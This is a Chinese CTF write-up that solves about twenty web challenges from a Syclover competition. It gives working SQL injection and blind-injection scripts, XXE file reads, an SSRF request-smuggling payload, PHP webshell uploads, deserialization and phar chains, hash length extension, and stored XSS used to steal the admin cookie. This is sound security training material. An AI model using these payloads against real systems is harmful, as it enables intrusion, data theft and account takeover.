Contents
- 1 致谢
- 1.1 0x01 打比赛前先撸一只猫!
- 1.2 0x02 你看见过我的菜刀么
- 1.3 BurpSuiiiiiit!!!
- 1.4 0x04 性感潇文清,在线算卦
- 1.5 0x05 Easysql
- 1.6 0x06 RCE me
- 1.7 0x07 服务端检测系统
- 1.8 0x08 Lovelysql
- 1.9 0x09 性感黄阿姨,在线聊天
- 1.10 0x10 Babysql
- 1.11 0x11 神秘的三叶草
- 1.12 0x12 Eval evil code
- 1.13 0x13 Jiang‘s Secret
- 1.14 0x14 Hardsql
- 1.15 0x15 你有特洛伊么
- 1.16 0x16 Leixiao’s blog
- 1.17 0x17 反序列化1.0
- 1.18 0x18 又来一只猫
- 1.19 0x19 你有初恋吗
- 1.20 0x20 Finalsql
- 1.21 0x21 你读懂潇文清的网站了吗
致谢
感谢三叶草的各位师傅,提供高质量赛题,在这里借助三叶草的官方WriteUp,复盘一下WEB方面的题目,题目顺序需要是按照放题目的顺序来排的。
0x01 打比赛前先撸一只猫!
页面上没什么提示,查看一下源码
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->
发现存在php注释,审计一下,让我们传入一个参数为cat,值为dog的数,即可输出真的flag
?cat=dog
0x02 你看见过我的菜刀么
题目意图很明显,就是一个标准的一句话木马,直接用菜刀或者蚁剑使用密码Syc连接即可,我们 也可以直接使用该一句话木马,查看flag
Syc=system("ls -al /");
发现根目录下存在flag目录,再列出flag目录下的文件
读取一下flag.txt即可
Syc=system("cat /flag/flag.txt");
BurpSuiiiiiit!!!
http://geek.sycsec.com:44444/static/file/Burp.zip
题目给了一个burp的插件,直接打开burp导入插件即可获得flag
导入插件,查看errors page
0x04 性感潇文清,在线算卦
查看源码,发现注释
<!--$savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
if (!is_dir($savepath)) {
$oldmask = umask(0);
mkdir($savepath);
umask($oldmask);
}
if ((@$_GET['u']) && (@$_GET['p'])) {
$content = '***************';
file_put_contents("$savepath" . sha1($_GET['u']), $content);
$msg = 'Ding!你的算卦结果就在这儿啦! ' . $savepath . htmlspecialchars(sha1($_GET['u'])) . "";
echo $msg;
usleep(100000);
@$content = "you are too slow";
file_put_contents("$savepath" . sha1($_GET['u']), $content);
}
试试条件竞争吧?
--!>
题目提示是条件竞争,根据源码可以看到,题目将算卦的结果传输到指定文件夹,再usleep(100000)后,删除文件,想要成功访问,大抵思路就是不停的写入相同内容,不断覆盖,达到条件竞争的效果
这里有两种方法,
1.使用burp中的intruder插件,不断访问,达到条件竞争的效果
抓一下包,进行爆破,达到不断传输的目的
再次访问文件夹,成功获得flag
2.使用python脚本,不断访问
这里贴一下官方脚本,本人用的是burp
# -*- coding: UTF-8 -*-
import re,requests,threading
url = 'http://148.70.59.198:42534/'
s = requests.Session()
def GetFile():
while 1:
params = {'u':'a','p':'a'}
r = s.get(url=url,params=params)
file = re.findall(r"Ding!你 的 算 卦 结 果 就 在 这 儿 啦 ! 快 来 看 ! (.*) <!DO",
r.text, re.S)[0]
print(file)
def GetFlag():
params = {'u':'a','p':'a'}
r = s.get(url=url,params=params)
while 1:
file = re.findall(r"Ding!你 的 算 卦 结 果 就 在 这 儿 啦 ! 快 来 看 ! (.*) <!DO",
r.text, re.S)[0]
rurl = url+file
res = s.get(url=rurl)
print(res.text)
t1 = threading.Thread(target=GetFile, args=())
t2 = threading.Thread(target=GetFlag, args=())
t1.start()
t2.start()
t1.join()
t2.join()
Eval evil cod
0x05 Easysql
简单的sql注入,直接万能密码进去即可获得flag
官方payload:
admin/admin'||'1
0x06 RCE me
这个题目在原来记录php7函数特性的时候记录过,感兴趣的可以看一下
0x07 服务端检测系统
查看源码,获取注释;
<!-- /admin.php -->
<!--
if(isset($_POST['method']) && isset($_POST['url']) ){
$method=$_POST['method'];
$url=$_POST['url'];
if(preg_match('/^http:\/\//i',$url)){
$opts = array(
'http'=>array(
'method'=>$method,
'timeout'=>3
)
);
$context = stream_context_create($opts);
$body = @file_get_contents($url."/anything", false, $context);
if(isset($http_response_header)){
preg_match("/Allow:(.*?);/i",implode(';',$http_response_header).";",$matches);
if(isset($matches[1])){
echo "服务端支持的请求方法有:".$matches[1];
}else{
echo "failed<br>";
echo sprintf("body length of $method%d", $body);
}
}else{
echo "error";
}
}else{
echo 'not allowed';
}
}
-->
发现存在admin.php,访问发现:
我们可以通过SSRF的方式进行访问,分析源码发现,我们可以控制的参数有method和url,尝试一下
提示我们服务端支持的请求方法,Burp抓包分析一下,尝试访问一下admin.php
回显输出的没有内容只有长度,这里我们跟进一下输出内容
发现输出的内容为服务器响应的长度,想要达到SSRF的目的我们需要绕过输出响应长度,使服务器端输出响应的内容,这里主要看输出的“%d”,%d输出的是整数类型,而我们需要的是输出字符串等内容,需要用到“%s”,只要我们将%d转义,再输入%s,即可成功输出$body中的内容了
我们发现method是可控的,最主要的就是,如何构造method如何绕过,尝试直接输入method=%s%,
成功包含admin.php的内容,发现获取flag需要我们POST输入:
iwantflag=yes
这里我们就需要再次回到代码进行分析,这里的http请求是使用stream_context_create()函数来实现的,该函数可以通过构造等方式,输出一个完整的POST或者GET传参
参考文章:
https://www.jb51.net/article/81871.htm
根据代码分析,我们可以看到函数中可控的参数仍然是method参数
尝试构造
url=http://127.0.0.1/&method=POST /admin.php HTTP/1.1
Host: x
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
iwantflag=yes%26b=%s%
我们通过method参数,传入一个完整的POST请求,在经过stream_context_create()函数后,我们传输的数据为
POST /admin.php HTTP/1.1
Host: x
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
iwantflag=yes&b=%s% //anything HTTP/1.0
发现没有传输成功,看出题人分析是由于&这里需要进行url编码,因为我们是在当前的数据包中二次发送HTTP协议,如果不编码的话容易被当前的HTTP数据包当做分隔符而不是传输的数据,最终的payload
url=http://127.0.0.1/&method=POST /admin.php HTTP/1.1
Host: x
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
iwantflag=yes%26b=%s%
添加参数b的原因是因为,在传输的过程中我们会拼接原来正常HTTP的请求包中的内容,如果直接传输不加参数,可能会导致传输的yes后面拼接别的内容,导致传输的变量值发生变化,因为我们获取的内容仍然是字符串,所以需要传输“%s%”
尝试访问一下
成功获取到flag
分析一下payload,因为我们传输的是一个完整的HTTP的请求包,在url中我们不需要再填写具体的路径,请求包已经标明传输的页面为admin.php,所以只要传输我们构造的HTTP请求包即可获取到flag
0x08 Lovelysql
访问页面
提示我们flag在数据库中,尝试万能密码登陆
发现登陆成功并且输出数据库中内容,尝试手工注入
使用联合查询语句查询数据库
admin'union+select+1,2,group_concat(schema_name)+from+information_schema.schemata#
发现没有任何过滤,直接用hackbar自带的语句梭一把,查询数据表
username=admin&password=admin'%20union%20select%201%2C2%2Cgroup_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%3Ddatabase()%20%23
查询数据表中的列:
username=admin&password=admin%27%20union%20select%201%2C2%2Cgroup_concat(column_name)%20from%20information_schema.columns%20where%20table_schema%3Ddatabase()%20%23
查询数据
username=admin&password=admin'%20union%20select%201%2C2%2Cgroup_concat(password)%20from%20l0ve1ysq1%23
成功获取到flag
0x09 性感黄阿姨,在线聊天
一道很有意思的题目,登陆页面
提示我们当前用户为guest,抓包看一下
发现是json格式传参,尝试改一下用户为admin,传输的数据为flag看一下
提示我们当name中的值md5和flag的md5相等时给出下一个提示,我们当然不知道md5的值,不过因为为是“==”我们可以通过弱类型比较的方式进行绕过
例如:
当我们输入的数字和flag前几位匹配时会返回结果为true,尝试爆破一下
根据返回头的不同发现爆破成功
提示我们flag在/f14g_Is_Here.php里面,还提示让我们读文件,读文件无非就是xxe了,尝试构造一下
因为需要xxe,需要修改一下文件类型
构造一下payload
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE xxe[
<!ENTITY test SYSTEM "php://filter/read=convert.base64-
encode/resource=./_f14g_Is_Here_.php">
]>
<root>
<name>&test;</name>
<request>flag</request>
</root>
解码base64即可获取flag
0x10 Babysql
前两个sql的waf版本,主要就是把关键函数给替换为空了
例如:
username=admin&password=admin123'union select 1,2,group_concat(schema_name) from
information_schema.schemata#
from union select 这些关键函数都被替换为空,我们可以通过双写的形式进行绕过
uniunionon%20selselectect%201%2C2%2Cgroup_concat(schema_name)%20frfromom%20infoorrmation_schema.schemata%20%23
成功查询数据库,尝试查询数据表
uniunionon%20selselectect%201%2C2%2Cgroup_concat(table_name)%20frfromom%20infoorrmation_schema.tables%20whwhereere%20table_schema%3Ddatabase()%23
查询列名
uniunionon%20selselectect%201%2C2%2Cgroup_concat(column_name)%20frfromom%20infoorrmation_schema.columns%20whwhereere%20table_schema%3Ddatabase()%20anandd%20table_name%3D'b4bsql'%23
查询字段名
uniunionon%20selselectect%201%2C2%2Cgroup_concat(passwoorrd)%20frfromom%20b4bsql%23
成功获取到flag
0x11 神秘的三叶草
查看页面,简单的介绍了一下三叶草,查看一下源码
发现有一个secret.php访问一下
提示我们需要来自该网址,直接改header头信息即可,burp抓包修改一下
来源页伪造我们可以通过使用referer头来修改
修改成功,提示我们需要使用”Syclover”浏览器,这里直接修改UA头即可
下一步要求我们本地访问,我们可以使用XFF头进行伪造
成功伪造,获取到flag
0x12 Eval evil code
这个题目,再前一段写文章的时候总结过了
0x13 Jiang‘s Secret
访问页面,查看源码
给了一个跳转页面
点击一下
发现存在跳转,抓包再看一下
在响应头中给出了一个页面,访问一下
给出了题目的源码
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
也提示我们flag在flag.php里面,同时发现正则把一些常用的参数给过滤掉了,不过没有过滤file,我们可以使用php的file伪协议去读取文件
?file=php://filter/convert.base64-encode/resource=flag.php
获取到加密的flag.php,base64解码即可获取flag
0x14 Hardsql
发现union被直接过滤掉了,不能使用双写绕过等方式,不过我们可以使用报错注入进行注入
可以使用extractvalue和updatexml进行报错注入
https://www.cnblogs.com/richardlee97/p/10617115.html
贴一下最后的payload
username=admin&password=admin'^updatexml(1,concat(0x7e,
(select(group_concat(password))from(H4rDsq1)),0x7e),1)#
0x15 你有特洛伊么
题目狠清晰让我们上传木马getshell,先测试一下
发现网站对文件内容进行了查看,并且过滤了php头
我们可以通过js的方式进行绕过
发现提示我们需要图片,尝试文件头绕过
成功上传,测试发现网站是黑名单,没有过滤phtml,直接上传pdsdt.phtml
------WebKitFormBoundary6fNlOYv1U4tq5iG2
Content-Disposition: form-data; name="file"; filename="pdsdt.phtml"
Content-Type: image/jpeg
GIF89a
<script language="php">
eval($_POST['pdsdt'])
</script>
------WebKitFormBoundary6fNlOYv1U4tq5iG2
Content-Disposition: form-data; name="submit"
在upload目录下找到上传的文件,尝试执行一下phpinfo()
成功执行,蚁剑连接,找到flag即可
0x16 Leixiao’s blog
注册一个账号登陆一下,原本以为是逻辑漏洞,测了一下发现是xss
在文章页面成功插入,不过测试的时候发现,文章只能自己看,后台访问不到,尝试在别的地方进行xss,测试一下注册和登陆,在注册处抓包发现密保问题也是前端可控的
尝试修改一下密保问题
在重置密码处看一下
发现成功修改密保问题,尝试能不能在密保问题处构造xss
看一下控制台,我们可以通过这种方式构造xss
"><script>alert(/xss/)</script>
注册一下
成功构造,下一步就很简单了,xss平台开启项目,将存在问题的页面报给管理员,等待cookie,即可获得flag
发现长度最多为32位,再次构造一下
在Report处提交问题页面,在xss平台等待收割即可
0x17 反序列化1.0
查看源码
class Student
{
public $score = 0;
public function __destruct()
{
echo "__destruct working";
if($this->score==10000) {
$flag = "******************";
echo $flag;
}
}
}
$exp = $_GET['exp'];
echo "<br>";
unserialize($exp);
?>
提示只要传输的序列化参数中score=10000即可输出flag,本地构造一下
O:7:"Student":1:{s:5:"score";i:10000;}
GET传入即可获取flag
0x18 又来一只猫
页面提示存在备份文件,测试一下几个常用的,发现存在www.zip
下载下来,对源码进行审计
关键代码:
index.php
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
简单的看一下仍然是反序列化,我们需要绕过__wakeup魔法函数去执行__destruct()函数,绕过wakeup的方法就不再多说,修改反序列化中的值存在错误即可
参考文章:
https://www.cnblogs.com/Mrsm1th/p/6835592.html
构造一下payload
分析代码,我们在调用__destruct()函数后,想要成功获取flag还要两个条件
username=admin
password=100
注意一下题目中的username和password的值都是private,所以需要使用new Name去构造数值
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
我们可以看到string虽然是14但是显示的字符为12,尝试一下url编码输出
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
发现存在%00占位,这样我们的序列化字符串就构造完毕,因为要绕过__wakeup函数,所以修改一下字符即可
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
0x19 你有初恋吗
看一下源码
<!--
$adore='***************';
$now = $_POST['lover'];
setcookie("Heart", md5($adore.'syclover'));
if(isset($now)&&$now!=syclover) {
if($_COOKIE['Heart'] === md5($adore. urldecode($now))){
die ($flag);
}else {
die('I do not love you! You are not in my heart!');
}
}
-->
分析一下源码,我们的cookie是使用密文和syclover进行md5加密出来的,获得flag的条件是cookie中的值与密文+我们传入的参数md5值相等,不过因为禁止传输syclover,我们需要进行绕过或者碰撞,这里有两种方法进行绕过
第一种方法:
因为网站会对输入的参数进行urldecode,我们可以尝试进行url编码绕过,测试二次url编码
%25%37%33%25%37%39%25%36%33%25%36%63%25%36%66%25%37%36%25%36%35%25%37%32
成功获取到flag,分析一下原理,抓包发现,我们二次编码传输的内容,已经被中间件解码一次,再次传入后台,输入的数据不等于syclover,但在urldecode之后等于syclover,这样等式就相等,成功输出flag
我们可以使用hashpump进行碰撞
hashpump下载
git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make
cp hashpump /usr/bin
make install
下载之后输入密文和部分明文进行碰撞即可
# hashpump
Input Signature: 6a1ce5f4dc83320710006a786ac82c17
Input Data: syclover
Input Key Length: 15
Input Data to Add: pdsdt
befe62a127f073fec5141becd52b8ee4
syclover\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00pdsdt
具体参考文章:
https://www.cnblogs.com/pcat/p/5478509.html
题目给出*的个数为十五个,可知密位位数为 15。最后将接触的payload中\x替换成%即可
POST /53a5734d6c99f89a/ HTTP/1.1
Host: cxc.design
Content-Length: 145
Cache-Control: max-age=0
Origin: http://cxc.design
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://cxc.design/53a5734d6c99f89a
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Heart=8593a4ff9adffa5564901a2acb96b9e8
Connection: close
lover=syclover%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b8%00%00%00%00%00%00%00syclover
0x20 Finalsql
打开发现与前面几道题目都不一样了,多了几个跳转页面
测试一下
发现我们输入^符号成功跳转页面,证明存在注入,看到页面提示,应该是让我们盲注了,构造一下语句
1^(ord(substr((select(group_concat(schema_name))from(information_schema.schema
ta)),%d,1))=%d)^1"%(i,ord(j)) 获取数据库名称
1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)
where(table_schema)='geek'),%d,1))=%d)^1"%(i,ord(j)) 获取数据库表名
1^(ord(substr((select(group_concat(column_name))from(information_schema.column
s)where(table_name='F1naI1y')),%d,1))=%d)^1"%(i,ord(j))
获取数据库列名
最后获取flag的payload:
import requests
url = "http://118.25.14.40:8104/search.php"
for i in range(1,20):
for j in range(1,128):
d ="?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),'"+str(i)+"',1))='"+str(j)+"')^1"
r = requests.get(url+d)
if 'Click' in r.text:
print(chr(j))
0x21 你读懂潇文清的网站了吗
题目给了提示是XXE,先抓包看一下内容
可以看到网站可以接受xml的信息,结合xxe,构造一下payload
<?xml version = "1.0"?>
<!DOCTYPE note [<!ENTITY pdsdt SYSTEM "php://filter/read=convert.base64-encode/resource=./index.php"> ]>
<name>&pdsdt;</name>
成功获取到index.php的源码
<?php
error_reporting(0);
include("./config.php");
date_default_timezone_set("PRC");
if(!empty($_POST['submit'])){
$data= $_POST['data'];
if (preg_match("/flag|decode|file|zlib|input|data|http|ftp|#/i",$data)){
echo "no!!!you cant read flag right here!";
exit();
}
$xml = simplexml_load_string($data,'SimpleXMLElement',LIBXML_NOENT);
print($xml);
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link href="./style_log.css" rel="stylesheet" type="text/css">
<link rel="stylesheet" type="text/css" href="./style.css">
<link rel="stylesheet" type="text/css" href="./userpanel.css">
</head>
<body class="login" mycollectionplug="bind">
<div class="login_m">
<div class="login_logo"><img src="http://120.79.186.183/jpg/677406.jpg" width="216" height="130"></div>
<div class="login_boder">
<div class="login_padding" id="login_model">
<div style="text-align:center; vertical-align:middel;">
<h3>告诉我你想说的</h3>
</div>
<form action="./index.php" method="post" enctype="multipart/form-data" type="code" name="code" id="code" class="txt_input" onfocus="if (value =='******'){value =''}" onblur="if (value ==''){value='******'}">
<div style="text-align:center; vertical-align:middel;">
<textarea type="text" id='divcss5' name="data">
</textarea>
</div>
<br>
<div style="text-align:center; vertical-align:middel;">
<input type="submit" class="sub_buttons" name="submit" id="Retrievenow" value="submit"
style="opacity: 0.7;">
</div>
</form>
<br> <br>
<br> <br>
<br> <br>
<br> <br>
<br> <br>
<br> <br>
<p align="center"> Syclover - Ayrian</p>
</body>
</html>
发现存在config.php尝试读取一下
<?php
class File{
public $filetype;
public $filename;
public function __wakeup(){
echo "wake up ";
var_dump(readfile("php://filter/read=convert.base64-encode/resource=flag.php"));
}
public function check($filetype,$filename){
$filename = $filename;
$filetype = $filetype;
if (($filetype!="image/jpg")&&(substr($filename, strrpos($filename, '.')+1))!= 'jpg') {
echo "只允许上传jpg格式文件";
exit();
}
}
public function upload($filetemp){
$target_file = getcwd()."/uploads/".md5($filetemp+$_SERVER['HTTP_REFERER']).".jpg";
$handle = fopen($filetemp, "r");
$content = '';
while(!feof($handle)){
$content .= fread($handle, 8080);
}
if (preg_match("/xml|#|SYSTEM|DOCTYPE|fliter|uploads|www/i",$content)){
echo "Invalid file!!!!";
exit();
}
fclose($handle);
if (move_uploaded_file($filetemp, $target_file)) {
echo "your file is here:".$target_file;
}
}
}
简单分析一下config.php,根据源码我们可以看到存在uploads目录,尝试访问一下是否存在upload.php
利用xxe读一下源码
<!DOCTYPE html>
<html>
<head>
<title>Ayrain</title>
</head>
<body>
<h3>上传一个文件,让我康康你这是什么乱七八糟的东西。</h3>
<form action="./upload.php" method="post" enctype="multipart/form-data" type="code" name="code" id="code" class="txt_input" onfocus="if (value =='******'){value =''}" onblur="if (value ==''){value='******'}">
<input type="file" name="file" />
<input type="submit" name="Check" />
</form>
</body>
</html>
<?php
error_reporting(0);
include("config.php");
$filename = $_FILES["file"]["name"];
$filetype = $_FILES["file"]["type"];
$filetemp = $_FILES["file"]["tmp_name"];
$file = new File();
$file->check($filetype,$filename);
$file->upload($filetemp);
?>
能看到upload.php的过滤比较严格,只能上传jpg,不过可以看到在config.php有输出flag.php的方法
需要我们调用__wakeup()函数,再结合上传和xxe漏洞,大致的攻击链形成:
1.本地使用phar生成调用__wakeup()函数的文件
2.使用upload.php页面上传文件
3.使用index.php存在的XXE漏洞去触发phar,从而输出flag.php
在本地生成phar文件:
需要我们调用
class File{
public function __wakeup(){
echo "wake up ";
}
}
按照phar的标准格式生成文件
<?php
class File{
public function __wakeup()
{
echo "wake up ";
}
}
$phar = new Phar('phar2.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new File();
$phar -> setMetadata($object);
$phar -> stopBuffering();
?>
将生成的文件修改后缀上传
成功上传文件,尝试读取一下
成功读取到我们上传的文件,使用XXE结合phar协议进行触发
<?xml version = "1.0"?>
<!DOCTYPE note [<!ENTITY pdsdt SYSTEM "phar://./uploads/cfcd208495d565ef66e7dff9f98764da.jpg"> ]>
<name>&pdsdt;</name>
成功获取到加密的flag.php文件,解密即可获取flag
两篇代码审计的题目会单独拿一篇文章来讲,总的来说,题目质量很好,学习到了很多,感谢三叶草的师傅们